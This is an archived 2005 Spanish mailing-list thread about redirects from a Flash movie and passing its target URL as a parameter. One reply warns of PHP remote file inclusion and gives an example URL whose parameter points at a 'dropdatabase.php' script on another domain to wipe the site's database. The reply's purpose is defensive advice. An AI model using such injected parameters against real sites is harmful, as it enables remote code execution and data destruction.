Re: [Ovillo] Redireccionamiento

2005-06-27 Por tema Martin Campos
No te aconsejo que pases url por parametro.

Hace un tiempo, se encontro un gusano escrito en Perl llamado 
PHP/Santy.A.worm. Afecto a todos los usuarios del famoso PhpBB version 
2.0.10 y con la ayuda de google:
http://www.ulfix.com/index.php?option=com_content&task=view&id=425&Itemid=113

Este basicamente se aprovecha de la vulnerabilidad de utilizar includes en 
PHP. Esto es, imagina que tenemos la siguiente estructura en PHP:



Hasta aqui todo parece bien. Imagina que por el navegador pongo esto:
http://www.midominio.com/presentacion.swf?link=http://tasimtasim.co.il/texts.php?text=1

Genial! se abre en la parte central el contenido incrustado en PHP. Hemos 
recuperado un parametro y lo abrimos en el código PHP.

Pues ahora tengo ganas de borrar la base de datos:
http://www.midominio.com/presentacion.swf?link=http://www.miotrodominio.com/dropdatabase.php

Te aseguro que es facil averiguar el nombre de la base de datos y/o realizar 
consultas SQL mediante el SQLInjection. Hemos ejecutado un codigo remoto, 
ejecutado por el usuario que ejecuta la web y acabamos de borrar la base de 
datos (si la hubiera).

Pues como este ejemplo, muchos. Lo mejor es pasar los parametros de un 
formulario por FORM POST y no por URL (GET). Si es necesario, comprueba que 
existan en una lista antes de realizar un include.

Si este no es tu caso, pues genial, pero puede que algun dia si. Sino espero 
haber ayudadoa alguien o haberme explicado lo mejor posible.

Ya sabeis si teneis alguna duda, contactadme.






El día 26/06/05, Camilo Kawerín <[EMAIL PROTECTED]> escribió:
> 
> Hola Shmuel,
> 
> Shmuel Gershon escribió:
> > Hola.
> >
> > No se si tiene que ver con standards... pero:
> >
> > En el sitio del que les hable en un pasado, tenemos un flash que nos han
> > hecho, que lleva un link a la pagina
> > http://tasimtasim.co.il/rentacar.html
> > En rentacar.html, hay un meta refresh que redirecciona la pagina a
> > http://tasimtasim.co.il/texts.php?text=1.
> > Es asi por que no queriamos complicar al designer del flash con el link
> > mas complicado, y por que me parece que asi tenemos control sobre a
> > donde lleva el flash mismo si se decide cambiar el modo como esta
> > estructurado el sitio.
> >
> > O sea, me parece que linkar a texts.php?text=1 es muy poco flexible, y
> > que linkar a rentacar.html nos deja hacer lo que queramos.
> > Principalmente por que no hizimos el flash nosotros, y no tenemos los
> > archivos FLA, solo SWF.
> >
> > La pregunta:
> > Es incorrecto hacer redirecciones?
> > Esta bien lo que se hizo en este sitio?
> >
> 
> Quizás la forma más apropiada era pasar la dirección de destino como
> parámetro de la película:
> "presentacion.swf?link=http://tasimtasim.co.il/texts.php?text=1";. De esa
> forma podían cambiarla en cualquier momento.
> Luego, si no queda más remedio que el redireccionamiento, creo que lo
> más seguro sería hacerlo en el servidor con php.
> 
> Saludos,
> 
> --
> Camilo Kawerín
> 27Sur comunicación & diseño
> http://www.27sur.com
> ___
> Lista de distribución Ovillo
> Para escribir a la lista, envia un correo a Ovillo@lists.ovillo.org
> Puedes modificar tus datos o desuscribirte en la siguiente dirección: 
> http://ovillo.org/mailman/listinfo/ovillo
> 



-- 
Salu2:
MARTIN desde Valencia (ESPAÑA)
___
Lista de distribución Ovillo
Para escribir a la lista, envia un correo a Ovillo@lists.ovillo.org
Puedes modificar tus datos o desuscribirte en la siguiente dirección: 
http://ovillo.org/mailman/listinfo/ovillo


RE: [Ovillo] Redireccionamiento

2005-06-27 Por tema Carlos Campderros/Ubuntu/UPC
> Sigo la duda de la siguiente forma:
> 1) Entiendo que no hay mal en hacer redirecciónes...
> 2) Como deben ser hechas?
> 2.1) Entiendo que las que se hace en Server-Side son mejores pues el
> Client ni se dá cuenta... O no es cierto?
> 
> SGershon

te respondo con un link del w3c dónde explica problemas y soluciones para
esto de las redirecciones.

http://www.w3.org/QA/Tips/reback

saludos

Carlos Campderros Estrada
UBUNTU – Fòrum Mundial de Xarxes de la Societat Civil
Carlos.campderros (arroba) ubuntu.upc.edu
(34) 93 413 77 74

___
Lista de distribución Ovillo
Para escribir a la lista, envia un correo a Ovillo@lists.ovillo.org
Puedes modificar tus datos o desuscribirte en la siguiente dirección: 
http://ovillo.org/mailman/listinfo/ovillo


RE: [Ovillo] Redireccionamiento

2005-06-26 Por tema Shmuel Gershon
> -Original Message-
> From: Camilo Kawerín
> Sent: Domingo, 26 de Junio de 2005 09:44 a.m.
> 
> Quizás la forma más apropiada era pasar la dirección de destino como
> parámetro de la película:
> "presentacion.swf?link=http://tasimtasim.co.il/texts.php?text=1";. De
esa
> forma podían cambiarla en cualquier momento.
> Luego, si no queda más remedio que el redireccionamiento, creo que lo
> más seguro sería hacerlo en el servidor con php.
> 
> Saludos, Camilo Kawerín

Humm...
Espera encuanto atrápe a ese designer, que no nos explicó esa opción de
los parámetros.
Y yo sabia que Flashes reciben parametros, pero no me lo pensé al
momento ni hasta ahora.

Gracias por tu sugerência!

Sigo la duda de la siguiente forma:
1) Entiendo que no hay mal en hacer redirecciónes...
2) Como deben ser hechas?
2.1) Entiendo que las que se hace en Server-Side son mejores pues el
Client ni se dá cuenta... O no es cierto?

SGershon

___
Lista de distribución Ovillo
Para escribir a la lista, envia un correo a Ovillo@lists.ovillo.org
Puedes modificar tus datos o desuscribirte en la siguiente dirección: 
http://ovillo.org/mailman/listinfo/ovillo


Re: [Ovillo] Redireccionamiento

2005-06-26 Por tema Camilo Kawerín

Hola Shmuel,

Shmuel Gershon escribió:

Hola.
 
No se si tiene que ver con standards... pero:
 
En el sitio del que les hable en un pasado, tenemos un flash que nos han

hecho, que lleva un link a la pagina
http://tasimtasim.co.il/rentacar.html
En rentacar.html, hay un meta refresh que redirecciona la pagina a
http://tasimtasim.co.il/texts.php?text=1.
Es asi por que no queriamos complicar al designer del flash con el link
mas complicado, y por que me parece que asi tenemos control sobre a
donde lleva el flash mismo si se decide cambiar el modo como esta
estructurado el sitio.
 
O sea, me parece que linkar a texts.php?text=1 es muy poco flexible, y

que linkar a rentacar.html nos deja hacer lo que queramos.
Principalmente por que no hizimos el flash nosotros, y no tenemos los
archivos FLA, solo SWF.
 
La pregunta:

Es incorrecto hacer redirecciones?
Esta bien lo que se hizo en este sitio?
 


Quizás la forma más apropiada era pasar la dirección de destino como 
parámetro de la película: 
"presentacion.swf?link=http://tasimtasim.co.il/texts.php?text=1";. De esa 
forma podían cambiarla en cualquier momento.
Luego, si no queda más remedio que el redireccionamiento, creo que lo 
más seguro sería hacerlo en el servidor con php.


Saludos,

--
Camilo Kawerín
27Sur comunicación & diseño
http://www.27sur.com
___
Lista de distribución Ovillo
Para escribir a la lista, envia un correo a Ovillo@lists.ovillo.org
Puedes modificar tus datos o desuscribirte en la siguiente dirección: 
http://ovillo.org/mailman/listinfo/ovillo